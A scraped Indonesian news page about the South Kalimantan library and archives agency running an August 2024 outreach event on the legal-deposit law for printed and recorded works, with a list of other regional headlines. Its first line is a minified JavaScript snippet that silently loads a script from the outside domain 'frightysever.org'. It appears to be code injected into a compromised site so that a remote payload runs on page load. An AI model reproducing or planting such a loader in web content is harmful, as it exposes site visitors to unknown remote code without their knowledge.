(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dispersip Kalsel Sosialisasi UU Serah Simpan Karya Cetak Karya Rekam


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar sosialisasi Undang-Undang Nomor 13 Tahun 2018 tentang Serah Simpan Karya Cetak Karya Rekam (KCKR).

Kegiatan berlangsung dua hari 27-28 Agustus 2024 di Hotel Ratan Inn Banjarmasin mengusung tema “Optimalisasi Penciptaan Karya Rekam”.

Peserta sosialisasi berasal dari pegiat literasi, perwakilan Dispersip kabupaten/kota, dan para peserta lomba film pendek. Pemateri yang dihadirkan terdiri dari pegiat literasi Kalsel seperti jurnalis dan penulis.

Baca juga: Pj Bupati HSU Sambut Tim Penilai Lomba Desa Nasional

Kepala Dispersip Kalsel Dra Hj Nurliani MAp melalui Kepala Bidang Pengelolaan Bahan Pustaka Dispersip Kalsel Muhammad Hanafi mengungkapkan, saat ini sudah ada ribuan karya cetak dan rekam telah diserahkan ke Dispersip Kalsel sebagai bagian dari pelaksanaan undang-undang tersebut.

“Ini adalah langkah penting dalam upaya melestarikan ilmu pengetahuan yang menjadi tanggung jawab kami,” ujar Hanafi.

Baca juga: Anugerah Komedi Indonesia, RCTI Apresiasi Komedian Tanah Air

Lebih lanjut, Hanafi menjelaskan bahwa serah simpan KCKR mencakup delapan kategori, termasuk karya ilmiah, sambutan, serta berbagai bentuk tulisan, dan rekaman lainnya.

Bahkan menurutnya mahasiswa diwajibkan untuk menyerahkan karya ilmiah ke Dispersip sesuai amanah UU Nomor 13 Tahun 2018 yang diserahkan melalui perguruan tinggi mereka.

Baca juga: Diusung Lima Parpol, Acil Odah-Rozanie Mendaftar Pilgub Kalsel

Sosialisasi yang dilaksanakan pihaknya tidak hanya bertujuan untuk melestarikan ilmu pengetahuan, tetapi juga untuk mewujudkan koleksi pustaka nasional yang dapat diakses oleh masyarakat dan generasi mendatang.

“Diharapkan dengan adanya serah simpan ini, akses terhadap karya cetak dan rekam akan lebih mudah di masa depan,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Muhammad Andi

Recent Posts

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

24 menit ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

5 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

8 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

8 jam ago

9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 9 klien rehabilitasi narkoba mendapat fasilitas dan pendampingan rujukan ke Balai… Read More

8 jam ago

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

22 jam ago